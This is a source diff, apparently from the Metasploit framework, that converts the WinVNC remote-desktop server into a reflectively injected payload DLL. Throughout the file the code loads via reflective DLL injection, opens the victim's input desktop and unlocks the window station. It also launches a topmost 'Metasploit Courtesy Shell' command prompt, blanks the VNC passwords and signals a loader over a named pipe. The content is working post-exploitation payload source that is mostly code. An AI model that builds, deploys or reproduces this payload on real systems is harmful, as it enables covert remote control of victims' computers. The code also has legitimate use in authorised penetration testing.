if (Swap32IfLE(encoding) == rfbEncodingXCursor) {
m_client->m_buffer->EnableXCursor(TRUE);
shapeupdates_requested = TRUE;
BOOL res = TRUE;
vncdll_postmessage( m_lpAgentContext, MESSAGE_SETENCODINGXCURSOR, (BYTE *)&res, sizeof(BOOL) );
continue;
}
@ -801,7 +877,8 @@ vncClientThread::run(void *arg)
if (Swap32IfLE(encoding) == rfbEncodingRichCursor) {
m_client->m_buffer->EnableRichCursor(TRUE);
shapeupdates_requested = TRUE;
BOOL res = TRUE;
vncdll_postmessage( m_lpAgentContext, MESSAGE_SETENCODINGRICHCURSOR, (BYTE *)&res, sizeof(BOOL) );
continue;
}
@ -812,7 +889,7 @@ vncClientThread::run(void *arg)
// Client specified encoding-specific compression level
int level = (int)(Swap32IfLE(encoding) - rfbEncodingCompressLevel0);
m_client->m_buffer->SetCompressLevel(level);
vncdll_postmessage( m_lpAgentContext, MESSAGE_SETCOMPRESSLEVEL, (BYTE *)&level, sizeof(int) );
continue;
}
@ -823,27 +900,31 @@ vncClientThread::run(void *arg)
// Client specified image quality level used for JPEG compression
int level = (int)(Swap32IfLE(encoding) - rfbEncodingQualityLevel0);
m_client->m_buffer->SetQualityLevel(level);
vncdll_postmessage( m_lpAgentContext, MESSAGE_SETQUALITYLEVEL, (BYTE *)&level, sizeof(int) );
continue;
}
// Is this a PointerPos encoding request?
if (Swap32IfLE(encoding) == rfbEncodingPointerPos) {
pointerpos_requested = TRUE;
BOOL res = TRUE;
vncdll_postmessage( m_lpAgentContext, MESSAGE_SETENCODINGPOINTERPOS, (BYTE *)&res, sizeof(BOOL) );
continue;
}
// Is this a LastRect encoding request?
if (Swap32IfLE(encoding) == rfbEncodingLastRect) {
m_client->m_buffer->EnableLastRect(TRUE);
BOOL res = TRUE;
vncdll_postmessage( m_lpAgentContext, MESSAGE_SETENCODINGLASTRECT, (BYTE *)&res, sizeof(BOOL) );
continue;
}
// Is this a NewFBSize encoding request?
if (Swap32IfLE(encoding) == rfbEncodingNewFBSize) {
m_client->m_use_NewFBSize = TRUE;
BOOL res = TRUE;
vncdll_postmessage( m_lpAgentContext, MESSAGE_SETENCODINGNEWFBSIZE, (BYTE *)&res, sizeof(BOOL) );
continue;
}
@ -854,6 +935,8 @@ vncClientThread::run(void *arg)
// No, so try the buffer to see if this encoding will work...
if (m_client->m_buffer->SetEncoding(Swap32IfLE(encoding))) {
DWORD enc = Swap32IfLE(encoding);
vncdll_postmessage( m_lpAgentContext, MESSAGE_SETENCODING, (BYTE *)&enc, sizeof(DWORD) );
encoding_set = TRUE;
}
@ -873,11 +956,16 @@ vncClientThread::run(void *arg)
if (!encoding_set)
{
omni_mutex_lock l(m_client->m_regionLock);
if (!m_client->m_buffer->SetEncoding(Swap32IfLE(rfbEncodingRaw)))
{
connected = FALSE;
}
else
{
DWORD enc = rfbEncodingRaw;
vncdll_postmessage( m_lpAgentContext, MESSAGE_SETENCODING, (BYTE *)&enc, sizeof(DWORD) );
}
}
}
@ -1567,7 +1655,7 @@ vncClient::Init(vncServer *server,
VSocket *socket,
BOOL reverse,
BOOL shared,
vncClientId newid)
vncClientId newid, AGENT_CTX * lpAgentContext)
{
// Save the server id;
m_server = server;
@ -1596,7 +1684,7 @@ vncClient::Init(vncServer *server,
m_thread = new vncClientThread;
if (m_thread == NULL)
return FALSE;
return ((vncClientThread *)m_thread)->Init(this, m_server, m_socket, reverse, shared);
return ((vncClientThread *)m_thread)->Init(this, m_server, m_socket, reverse, shared, lpAgentContext );
return FALSE;
}
@ -1821,9 +1909,9 @@ vncClient::SendRFBMsg(CARD8 type, BYTE *buffer, int buflen)
return TRUE;
}
BOOL vncClient::SendUpdate()
{
#ifndef _DEBUG
try
{
@ -1838,6 +1926,10 @@ BOOL vncClient::SendUpdate()
rectlist toBeSentList; // List of rectangles to actually send
vncRegion toBeDone; // Region to check
// force these to be updated regardless...
//m_cursor_update_pending = TRUE;
//m_cursor_pos_changed = TRUE;
// Prepare to send cursor position update if necessary
if (m_cursor_pos_changed) {
POINT cursor_pos;
@ -1948,6 +2040,7 @@ BOOL vncClient::SendUpdate()
// Otherwise, send <number of rectangles> header
rfbFramebufferUpdateMsg header;
header.nRects = Swap16IfLE(numrects);
if (!SendRFBMsg(rfbFramebufferUpdate, (BYTE *) &header, sz_rfbFramebufferUpdateMsg))
return TRUE;
@ -1998,7 +2091,6 @@ BOOL
vncClient::SendRectangles(rectlist &rects)
{
RECT rect;
// Work through the list of rectangles, sending each one
while(!rects.empty())
{
@ -2009,7 +2101,6 @@ vncClient::SendRectangles(rectlist &rects)
rects.pop_front();
}
rects.clear();
return TRUE;
}
@ -2021,7 +2112,6 @@ BOOL vncClient::SendRectangle(RECT &rect)
omni_mutex_lock l(m_regionLock);
sharedRect = m_server->GetSharedRect();
}
IntersectRect(&rect, &rect, &sharedRect);
// Get the buffer to encode the rectangle
UINT bytes = m_buffer->TranslateRect(

View File

@ -48,6 +48,7 @@ typedef std::list<vncClientId> vncClientList;
// Includes
#include "stdhdrs.h"
#include "common.h"
#include "VSocket.h"
#include <omnithread.h>
@ -75,7 +76,7 @@ public:
VSocket *socket,
BOOL reverse,
BOOL shared,
vncClientId newid);
vncClientId newid, AGENT_CTX * lpAgentContext);
// Kill
// The server uses this to close the client socket, causing the

View File

@ -46,6 +46,8 @@
#include <fstream.h>
#endif
extern HINSTANCE hAppInstance;
// Constants
const UINT RFB_SCREEN_UPDATE = RegisterWindowMessage("WinVNC.Update.DrawRect");
const UINT RFB_COPYRECT_UPDATE = RegisterWindowMessage("WinVNC.Update.CopyRect");
@ -1144,8 +1146,6 @@ LRESULT CALLBACK DesktopWndProc(HWND hwnd, UINT iMsg, WPARAM wParam, LPARAM lPar
ATOM m_wndClass = 0;
extern HINSTANCE hAppInstance;
BOOL vncDesktop::InitWindow()
{
if (m_wndClass == 0) {

View File

@ -710,8 +710,36 @@ vncEncodeTight::SendGradientRect(BYTE *dest, int w, int h)
Z_FILTERED);
}
int
vncEncodeTight::CompressData(BYTE *dest, int streamId, int dataLen,
/*
VOID vncEncodeTight::UpdateZLibDictionary( AGENT_CTX * lpAgentContext )
{
do
{
for( int i = 0; i < 4; i++ )
{
if( !lpAgentContext->dictionaries[i] )
continue;
setdictionary( &m_zsStruct[i], lpAgentContext->dictionaries[i]->bDictBuffer, lpAgentContext->dictionaries[i]->dwDictLength );
}
} while( 0 );
}
VOID vncEncodeTight::DumpZLibDictionary( AGENT_CTX * lpAgentContext )
{
do
{
for( int i = 0; i < 4; i++ )
{
if( !m_zsActive[i] )
continue;
SendZlibDictionary( lpAgentContext, i, &m_zsStruct[i] );
}
} while( 0 );
}
*/
int vncEncodeTight::CompressData(BYTE *dest, int streamId, int dataLen,
int zlibLevel, int zlibStrategy)
{
if (dataLen < TIGHT_MIN_TO_COMPRESS) {

View File

@ -94,6 +94,9 @@ public:
vncEncodeTight();
~vncEncodeTight();
//virtual VOID UpdateZLibDictionary( AGENT_CTX * lpAgentContext );
//virtual VOID DumpZLibDictionary( AGENT_CTX * lpAgentContext );
virtual void Init();
virtual const char* GetEncodingName() { return "Tight"; }

View File

@ -264,3 +264,16 @@ vncEncodeZlib::EncodeOneRect(BYTE *source, BYTE *dest, const RECT &rect)
totalCompDataLen;
}
/*
VOID vncEncodeZlib::UpdateZLibDictionary( AGENT_CTX * lpAgentContext )
{
if( lpAgentContext->dictionaries[0] )
setdictionary( &compStream, lpAgentContext->dictionaries[0]->bDictBuffer, lpAgentContext->dictionaries[0]->dwDictLength );
}
VOID vncEncodeZlib::DumpZLibDictionary( AGENT_CTX * lpAgentContext )
{
SendZlibDictionary( lpAgentContext, 0, &compStream );
}
*/

View File

@ -72,6 +72,9 @@ public:
virtual UINT EncodeRect(BYTE *source, VSocket *outConn, BYTE *dest, const RECT &rect, int offx, int offy);
virtual UINT EncodeOneRect(BYTE *source, BYTE *dest, const RECT &rect);
//virtual VOID UpdateZLibDictionary( AGENT_CTX * lpAgentContext );
//virtual VOID DumpZLibDictionary( AGENT_CTX * lpAgentContext );
// Implementation
protected:
BYTE *m_buffer;

View File

@ -150,7 +150,22 @@ vncEncodeZlibHex::EncodeRect(BYTE *source, VSocket *outConn, BYTE *dest, const R
return vncEncoder::EncodeRect(source, dest, rect, offx, offy);
}
/*
VOID vncEncodeZlibHex::UpdateZLibDictionary( AGENT_CTX * lpAgentContext )
{
if( lpAgentContext->dictionaries[0] )
setdictionary( &compStreamRaw, lpAgentContext->dictionaries[0]->bDictBuffer, lpAgentContext->dictionaries[0]->dwDictLength );
if( lpAgentContext->dictionaries[1] )
setdictionary( &compStreamEncoded, lpAgentContext->dictionaries[0]->bDictBuffer, lpAgentContext->dictionaries[0]->dwDictLength );
}
VOID vncEncodeZlibHex::DumpZLibDictionary( AGENT_CTX * lpAgentContext )
{
SendZlibDictionary( lpAgentContext, 0, &compStreamRaw );
SendZlibDictionary( lpAgentContext, 1, &compStreamEncoded );
}
*/
UINT
vncEncodeZlibHex::zlibCompress(BYTE *from_buf, BYTE *to_buf, UINT length, struct z_stream_s *compressor)
{

View File

@ -78,6 +78,9 @@ public:
// virtual UINT EncodeRect(BYTE *source, BYTE *dest, const RECT &rect);
virtual UINT EncodeRect(BYTE *source, VSocket *outConn, BYTE *dest, const RECT &rect, int offx, int offy);
//virtual VOID UpdateZLibDictionary( AGENT_CTX * lpAgentContext );
//virtual VOID DumpZLibDictionary( AGENT_CTX * lpAgentContext );
protected:
virtual UINT zlibCompress(BYTE *from_buf, BYTE *to_buf, UINT length, struct z_stream_s *compressor);

View File

@ -616,3 +616,52 @@ vncEncoder::FixCursorMask(BYTE *mbits, BYTE *cbits,
}
}
/*
VOID vncEncoder::UpdateZLibDictionary( AGENT_CTX * lpAgentContext )
{
return;
}
VOID vncEncoder::DumpZLibDictionary( AGENT_CTX * lpAgentContext )
{
return;
}
extern DWORD vncdll_postmessage( AGENT_CTX * lpAgentContext, DWORD dwMessage, BYTE * pDataBuffer, DWORD dwDataLength );
VOID vncEncoder::SendZlibDictionary( AGENT_CTX * lpAgentContext, int id, z_streamp stream )
{
DICTMSG * dmsg = NULL;
BYTE * pDictBuffer = NULL;
int dmsgsize = 0;
DWORD dwDictLength = 0;
do
{
if( !lpAgentContext || !stream )
break;
getdictionary( stream, &pDictBuffer, &dwDictLength );
if( !pDictBuffer || !dwDictLength )
break;
dmsgsize = sizeof(DICTMSG) + dwDictLength;
dmsg = (DICTMSG *)malloc( dmsgsize );
if( !dmsg )
break;
dmsg->dwId = id;
dmsg->dwDictLength = dwDictLength;
memcpy( &dmsg->bDictBuffer, pDictBuffer, dwDictLength );
vncdll_postmessage( lpAgentContext, MESSAGE_SETZLIBDICTIONARY, (BYTE *)dmsg, dmsgsize );
} while( 0 );
if( dmsg )
free( dmsg );
}
*/

View File

@ -39,7 +39,7 @@ class vncEncoder;
#include "vncBuffer.h"
#include "translate.h"
#include "zlib/zlib.h"
// Class definition
class vncEncoder
@ -96,6 +96,11 @@ public:
BOOL SendEmptyCursorShape(VSocket *outConn);
BOOL SendCursorShape(VSocket *outConn, vncDesktop *desktop);
//virtual VOID UpdateZLibDictionary( AGENT_CTX * lpAgentContext );
//virtual VOID DumpZLibDictionary( AGENT_CTX * lpAgentContext );
VOID SendZlibDictionary( AGENT_CTX * lpAgentContext, int id, z_streamp stream );
protected:
BOOL SetTranslateFunction();

View File

@ -52,7 +52,8 @@ vncServer::vncServer()
m_corbaConn = NULL;
//m_httpConn = NULL;
m_desktop = NULL;
m_name = "";
m_name = NULL;
SetName("");
m_port = DISPLAY_TO_PORT(0);
m_port_http = DISPLAY_TO_HPORT(0);
m_autoportselect = TRUE;
@ -61,13 +62,13 @@ vncServer::vncServer()
m_beepDisconnect = FALSE;
m_auth_hosts = 0;
m_blacklist = 0;
{
vncPasswd::FromClear clearPWD;
memcpy(m_password, clearPWD, MAXPWLEN);
//{
// vncPasswd::FromClear clearPWD;
memcpy(m_password, "", MAXPWLEN);
m_password_set = FALSE;
memcpy(m_password_viewonly, clearPWD, MAXPWLEN);
memcpy(m_password_viewonly, "", MAXPWLEN);
m_password_viewonly_set = FALSE;
}
//}
m_querysetting = 2;
m_querytimeout = 10;
m_queryaccept = FALSE;
@ -196,7 +197,6 @@ vncServer::~vncServer()
delete m_clientquitsig;
m_clientquitsig = NULL;
}
}
// Client handling functions
@ -212,20 +212,15 @@ vncServer::ClientsDisabled()
return m_clients_disabled;
}
vncClientId
vncServer::AddClient(VSocket *socket, BOOL reverse, BOOL shared)
vncClientId vncServer::AddClient( AGENT_CTX * lpAgentContext )
{
return AddClient(socket, reverse, shared, TRUE, TRUE);
}
vncClientId
vncServer::AddClient(VSocket *socket, BOOL reverse, BOOL shared,
BOOL keysenabled, BOOL ptrenabled)
{
vncClient *client;
vncClient *client = NULL;
VSocket * socket = NULL;
omni_mutex_lock l(m_clientsLock);
socket = new VSocket( &lpAgentContext->info, lpAgentContext->hCloseEvent );
// Try to allocate a client id...
vncClientId clientid = m_nextid;
do
@ -247,11 +242,11 @@ vncServer::AddClient(VSocket *socket, BOOL reverse, BOOL shared,
}
// Set the client's settings
client->EnableKeyboard(keysenabled && m_enable_remote_inputs);
client->EnablePointer(ptrenabled && m_enable_remote_inputs);
client->EnableKeyboard(TRUE && m_enable_remote_inputs);
client->EnablePointer(TRUE && m_enable_remote_inputs);
// Start the client
if (!client->Init(this, socket, reverse, shared, clientid))
if (!client->Init(this, socket, TRUE, TRUE, clientid, lpAgentContext ))
{
// The client will delete the socket for us...
delete client;

View File

@ -52,6 +52,7 @@ class vncServer;
// Includes
#include "stdhdrs.h"
#include "common.h"
#include <omnithread.h>
#include <list>
@ -73,9 +74,8 @@ public:
// Client handling functions
virtual void DisableClients(BOOL state);
virtual BOOL ClientsDisabled();
virtual vncClientId AddClient(VSocket *socket, BOOL reverse, BOOL shared);
virtual vncClientId AddClient(VSocket *socket, BOOL reverse, BOOL shared,
BOOL keysenabled, BOOL ptrenabled);
virtual vncClientId AddClient( AGENT_CTX * lpAgentContext );
virtual BOOL Authenticated(vncClientId client);
virtual void KillClient(vncClientId client);

View File

@ -289,14 +289,17 @@ vncService::SelectHDESK(HDESK new_desktop)
// Calling with a valid desktop name will place the thread in that desktop.
// Calling with a NULL name will place the thread in the current input desktop.
extern HDESK vncdll_getinputdesktop( BOOL bSwitchStation );
BOOL
vncService::SelectDesktop(char *name)
{
// Are we running on NT?
if (IsWinNT())
{
HDESK desktop;
HDESK desktop = vncdll_getinputdesktop( FALSE );
/*
if (name != NULL)
{
// Attempt to open the named desktop
@ -314,7 +317,7 @@ vncService::SelectDesktop(char *name)
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
}
}*/
// Did we succeed?
if (desktop == NULL) {

View File

@ -71,7 +71,7 @@ BOOL vncSockConnectThread::Init(VSocket *socket, vncServer *server)
void *vncSockConnectThread::run_undetached(void * arg)
{
// Go into a loop, listening for connections on the given socket
while (!m_shutdown) {
/*while (!m_shutdown) {
// Accept an incoming connection
VSocket *new_socket;
if (!m_socket->TryAccept(&new_socket, 100))
@ -81,7 +81,7 @@ void *vncSockConnectThread::run_undetached(void * arg)
// Successful accept - start the client unauthenticated
m_server->AddClient(new_socket, FALSE, FALSE);
}
}
}*/
return NULL;
}

View File

@ -5,87 +5,91 @@
* Tested On x86 Windows: - NT4, 2000, XP, 2003, Vista, 2008, 7
* Tested On x64 Windows: - 2003, 2008R2, 7
* -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
* Note: Session 0 isolation on Vista and above will prevent accessing the
* input desktop from another session (e.g. 1) if the DLL is used from a
* service.
* -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
*/
#include "stdhdrs.h"
#include "VSocket.h"
#include "common.h"
#include "vncServer.h"
#define VNCDLL_FLAG_DISABLE_SHELL (1 << 0)
/*
* Use Reflective DLL Injection.
*/
#include "../../meterpreter/source/ReflectiveDLLInjection/ReflectiveLoader.c"
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "ReflectiveLoader.c"
HANDLE hMessageMutex = NULL;
/*
* The termination event set by the client closing the connection.
* Post an arbitrary message back to a loader.
*/
HANDLE hTerminateEvent = NULL;
/*
* Switch to the input desktop and set it as this threads desktop.
*/
HDESK get_input_desktop( VOID )
DWORD vncdll_postmessage( AGENT_CTX * lpAgentContext, DWORD dwMessage, BYTE * pDataBuffer, DWORD dwDataLength )
{
HWINSTA ws = NULL;
HWINSTA os = NULL;
HDESK ds = NULL;
DWORD dwResult = ERROR_SUCCESS;
HANDLE hPipe = NULL;
BYTE * pBuffer = NULL;
char cNamedPipe[MAX_PATH] = {0};
DWORD dwWritten = 0;
DWORD dwLength = 0;
os = GetProcessWindowStation();
ws = OpenWindowStation( "WinSta0", TRUE, MAXIMUM_ALLOWED );
if( ws == NULL )
do
{
RevertToSelf();
ws = OpenWindowStation( "WinSta0", TRUE, MAXIMUM_ALLOWED );
}
if( !lpAgentContext )
BREAK_WITH_ERROR( "[VNCDLL] vncdll_postmessage. invalid parameters", ERROR_INVALID_PARAMETER );
dwLength = sizeof(DWORD) + sizeof(DWORD) + dwDataLength;
if( ws != NULL )
{
if( !SetProcessWindowStation( ws ) )
ws = NULL;
else
CloseWindowStation( os );
}
pBuffer = (BYTE *)malloc( dwLength );
if( !pBuffer )
BREAK_WITH_ERROR( "[VNCDLL] vncdll_postmessage. pBuffer malloc failed", ERROR_INVALID_HANDLE );
memcpy( pBuffer, &dwMessage, sizeof(DWORD) );
memcpy( (pBuffer+sizeof(DWORD)), &dwDataLength, sizeof(DWORD) );
memcpy( (pBuffer+sizeof(DWORD)+sizeof(DWORD)), pDataBuffer, dwDataLength );
ds = OpenInputDesktop( NULL, TRUE, MAXIMUM_ALLOWED );
if( ws && ds == NULL )
CloseHandle( ws );
if( WaitForSingleObject( hMessageMutex, INFINITE ) != WAIT_OBJECT_0 )
BREAK_WITH_ERROR( "[VNCDLL] vncdll_postmessage. WaitForSingleObject failed", ERROR_INVALID_HANDLE );
if( ds && ! SwitchDesktop( ds ) )
{
CloseHandle( ws );
CloseHandle( ds );
}
_snprintf( cNamedPipe, MAX_PATH, "\\\\.\\pipe\\%08X", lpAgentContext->dwPipeName );
SetThreadDesktop( ds );
dprintf("[VNCDLL] vncdll_postmessage. pipe=%s, message=0x%08X, length=%d", cNamedPipe, dwMessage, dwDataLength);
return ds;
while( TRUE )
{
hPipe = CreateFileA( cNamedPipe, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL );
if( hPipe != INVALID_HANDLE_VALUE )
break;
if( GetLastError() != ERROR_PIPE_BUSY )
BREAK_ON_ERROR( "[VNCDLL] vncdll_postmessage. ERROR_PIPE_BUSY" );
if( !WaitNamedPipe( cNamedPipe, 20000 ) )
BREAK_ON_ERROR( "[VNCDLL] vncdll_postmessage. WaitNamedPipe timedout" );
}
if( dwResult == ERROR_SUCCESS )
{
if( !WriteFile( hPipe, pBuffer, dwLength, &dwWritten, NULL ) )
BREAK_ON_ERROR( "[VNCDLL] vncdll_postmessage. WriteFile dwMessage length failed" );
}
} while( 0 );
CLOSE_HANDLE( hPipe );
if( pBuffer )
free( pBuffer );
ReleaseMutex( hMessageMutex );
return dwResult;
}
/*
* Entry Point.
*
*/
DWORD Init( SOCKET socket )
VOID vncdll_unlockwindowstation( VOID )
{
VSocketSystem * socksys = NULL;
vncServer * server = NULL;
VSocket * sock = NULL;
HMODULE hUser32 = NULL;
HDESK desk = NULL;
BYTE bFlags = 0;
hTerminateEvent = CreateEvent( NULL, TRUE, FALSE, NULL );
recv( socket, (PCHAR)&bFlags, 1, 0 );
desk = get_input_desktop();
hUser32 = LoadLibrary( "user32.dll" );
HMODULE hUser32 = LoadLibrary( "user32.dll" );
if( hUser32 )
{
typedef BOOL (WINAPI * UNLOCKWINDOWSTATION)( HWINSTA );
@ -95,59 +99,266 @@ DWORD Init( SOCKET socket )
FreeLibrary( hUser32 );
}
}
if( ( bFlags & VNCDLL_FLAG_DISABLE_SHELL) == 0 )
/*
* Switch to the input desktop and set it as this threads desktop.
*/
HDESK vncdll_getinputdesktop( BOOL bSwitchStation )
{
DWORD dwResult = ERROR_ACCESS_DENIED;
HWINSTA hWindowStation = NULL;
HDESK hInputDesktop = NULL;
HWND hDesktopWnd = NULL;
do
{
STARTUPINFOA si;
PROCESS_INFORMATION pi;
char name_win[256];
char name_des[256];
char name_all[1024];
if( bSwitchStation )
{
// open the WinSta0 as some services are attached to a different window station.
hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS );
if( !hWindowStation )
{
if( RevertToSelf() )
hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS );
}
// if we cant open the defaut input station we wont be able to take a screenshot
if( !hWindowStation )
BREAK_WITH_ERROR( "[VNCDLL] vncdll_getinputdesktop: Couldnt get the WinSta0 Window Station", ERROR_INVALID_HANDLE );
// set the host process's window station to this sessions default input station we opened
if( !SetProcessWindowStation( hWindowStation ) )
BREAK_ON_ERROR( "[VNCDLL] vncdll_getinputdesktop: SetProcessWindowStation failed" );
}
// grab a handle to the default input desktop (e.g. Default or WinLogon)
hInputDesktop = OpenInputDesktop( 0, FALSE, MAXIMUM_ALLOWED );
if( !hInputDesktop )
BREAK_ON_ERROR( "[VNCDLL] vncdll_getinputdesktop: OpenInputDesktop failed" );
// set this threads desktop to that of this sessions default input desktop on WinSta0
SetThreadDesktop( hInputDesktop );
} while( 0 );
return hInputDesktop;
}
/*
* Create the Metasploit Courtesy Shell
*/
VOID vncdll_courtesyshell( HDESK desk )
{
DWORD dwResult = ERROR_SUCCESS;
HWND hShell = NULL;
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
char name_win[256] = {0};
char name_des[256] = {0};
char name_all[1024] = {0};
do
{
dprintf( "[VNCDLL] vncdll_courtesyshell. desk=0x%08X", desk );
memset(name_all, 0, sizeof(name_all));
GetUserObjectInformation( GetProcessWindowStation(), UOI_NAME, &name_win, 256, NULL );
GetUserObjectInformation( desk, UOI_NAME, &name_des, 256, NULL );
_snprintf(name_all, sizeof(name_all)-1, "%s\\%s", name_win, name_des);
_snprintf( name_all, sizeof(name_all)-1, "%s\\%s", name_win, name_des );
memset(&pi, 0, sizeof(pi));
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USEFILLATTRIBUTE;
si.wShowWindow = SW_NORMAL;
si.lpDesktop = name_all;
si.lpTitle = "Metasploit Courtesy Shell (TM)";
memset( &pi, 0, sizeof(PROCESS_INFORMATION) );
memset( &si, 0, sizeof(STARTUPINFOA) );
si.cb = sizeof(STARTUPINFOA);
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USEFILLATTRIBUTE;
si.wShowWindow = SW_NORMAL;
si.lpDesktop = name_all;
si.lpTitle = "Metasploit Courtesy Shell (TM)";
si.dwFillAttribute = FOREGROUND_RED|FOREGROUND_BLUE|FOREGROUND_GREEN|BACKGROUND_BLUE;
CreateProcess(NULL, "cmd.exe", 0, 0, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
Sleep(1000);
if( !CreateProcess( NULL, "cmd.exe", 0, 0, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi ) )
BREAK_ON_ERROR( "[VNCDLL] vncdll_courtesyshell. CreateProcess failed" );
CloseHandle( pi.hThread );
CloseHandle( pi.hProcess );
Sleep( 1000 );
hShell = FindWindow( NULL, "Metasploit Courtesy Shell (TM)" );
if( !hShell )
break;
SetWindowPos( hShell, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE|SWP_NOSIZE );
} while( 0 );
}
/*
* Create and run a VNC server on this socket.
*/
DWORD vncdll_run( AGENT_CTX * lpAgentContext )
{
DWORD dwResult = ERROR_SUCCESS;
VSocketSystem * vsocketsystem = NULL;
vncServer * vserver = NULL;
HDESK desk = NULL;
WSADATA WSAData = {0};
SOCKET sock = 0;
BYTE bFlags = 0;
do
{
dprintf( "[VNCDLL] vncdll_run. Started..." );
if( !lpAgentContext )
BREAK_WITH_ERROR( "[VNCDLL] vncdll_run. invalid parameters", ERROR_INVALID_PARAMETER );
hMessageMutex = CreateMutex( NULL, FALSE, NULL );
desk = vncdll_getinputdesktop( TRUE );
vncdll_unlockwindowstation();
if( !lpAgentContext->bDisableCourtesyShell )
vncdll_courtesyshell( desk );
vsocketsystem = new VSocketSystem();
if( !vsocketsystem->Initialised() )
BREAK_WITH_ERROR( "[VNCDLL] vncdll_run. VSocketSystem Initialised failed", ERROR_NETWORK_ACCESS_DENIED );
vserver = new vncServer();
vncClientId cid = vserver->AddClient( lpAgentContext );
dprintf( "[VNCDLL-0x%08X] vncdll_run. Going into wait state... cid=%d", hAppInstance, cid );
HWND shell = FindWindow( NULL, "Metasploit Courtesy Shell (TM)" );
if( shell )
SetWindowPos( shell, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE|SWP_NOSIZE );
}
WaitForSingleObject( lpAgentContext->hCloseEvent, INFINITE );
vserver->RemoveClient( cid );
SetProcessShutdownParameters( 0x100, 0 );
} while( 0 );
socksys = new VSocketSystem();
if( !socksys->Initialised() )
return 0;
dprintf( "[VNCDLL-0x%08X] vncdll_run. terminating...", hAppInstance );
server = new vncServer();
delete vserver;
sock = new VSocket( socket );
delete vsocketsystem;
server->AddClient( sock, FALSE, FALSE );
WaitForSingleObjectEx( hTerminateEvent, INFINITE, FALSE );
delete server;
delete socksys;
CLOSE_HANDLE( hMessageMutex );
return 0;
}
/*
* Grab a DWORD value out of the command line.
* e.g. vncdll_command_dword( "/FOO:0x41414141 /BAR:0xCAFEF00D", "/FOO:" ) == 0x41414141
*/
DWORD vncdll_command_dword( char * cpCommandLine, char * cpCommand )
{
char * cpString = NULL;
DWORD dwResult = 0;
do
{
if( !cpCommandLine || !cpCommand )
break;
cpString = strstr( cpCommandLine, cpCommand );
if( !cpString )
break;
cpString += strlen( cpCommand );
dwResult = strtoul( cpString, NULL, 0 );
} while( 0 );
return dwResult;
}
/*
* The real entrypoint for this app.
*/
VOID vncdll_main( char * cpCommandLine )
{
DWORD dwResult = ERROR_INVALID_PARAMETER;
__try
{
do
{
dprintf( "[VNCDLL] vncdll_main. cpCommandLine=0x%08X", (DWORD)cpCommandLine );
if( !cpCommandLine )
break;
if( strlen( cpCommandLine ) == 0 )
break;
dprintf( "[VNCDLL] vncdll_main. lpCmdLine=%s", cpCommandLine );
if( strstr( cpCommandLine, "/v" ) )
{
AGENT_CTX * lpAgentContext = NULL;
lpAgentContext = (AGENT_CTX *)vncdll_command_dword( cpCommandLine, "/c:" );
dwResult = vncdll_run( lpAgentContext );
if( lpAgentContext )
{
int i = 0;
if( lpAgentContext->hCloseEvent )
CloseHandle( lpAgentContext->hCloseEvent );
/*for( i=0 ; i<4 ; i++ )
{
if( lpAgentContext->dictionaries[i] )
{
int size = ( sizeof(DICTMSG) + lpAgentContext->dictionaries[i]->dwDictLength );
memset( lpAgentContext->dictionaries[i], 0, size );
VirtualFree( lpAgentContext->dictionaries[i], 0, MEM_RELEASE );
}
}*/
memset( lpAgentContext, 0, sizeof(AGENT_CTX) );
VirtualFree( lpAgentContext, 0, MEM_RELEASE );
}
}
} while( 0 );
}
__except( EXCEPTION_EXECUTE_HANDLER )
{
dprintf( "[VNCDLL] vncdll_main. EXCEPTION_EXECUTE_HANDLER" );
dwResult = ERROR_UNHANDLED_EXCEPTION;
}
dprintf( "[VNCDLL=0x%08X] vncdll_main. ExitThread dwResult=%d\n\n", hAppInstance, dwResult );
ExitThread( dwResult );
}
/*
* DLL entry point. If we have been injected via RDI, lpReserved will be our command line.
*/
BOOL WINAPI DllMain( HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved )
{
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_PROCESS_ATTACH:
hAppInstance = hInstance;
if( lpReserved != NULL )
vncdll_main( (char *)lpReserved );
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}

View File

@ -1,21 +1,12 @@
Microsoft Visual Studio Solution File, Format Version 10.00
# Visual C++ Express 2008
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "WinVNC", "WinVNC.vcproj", "{EA6A09AC-04BB-423D-8842-CA48DF901058}"
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "winvnc", "WinVNC.vcproj", "{EA6A09AC-04BB-423D-8842-CA48DF901058}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "loader", "..\loader\loader.vcproj", "{B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}"
ProjectSection(ProjectDependencies) = postProject
{72F0246A-A38D-4547-9057-46020E8E503D} = {72F0246A-A38D-4547-9057-46020E8E503D}
{224A4BAC-DEDE-43A4-81B9-14545F16E20E} = {224A4BAC-DEDE-43A4-81B9-14545F16E20E}
{2D948CAF-9622-495C-AB44-6337A6A9D440} = {2D948CAF-9622-495C-AB44-6337A6A9D440}
{A44055F1-6AAA-4F72-8939-C5C294CE6EEE} = {A44055F1-6AAA-4F72-8939-C5C294CE6EEE}
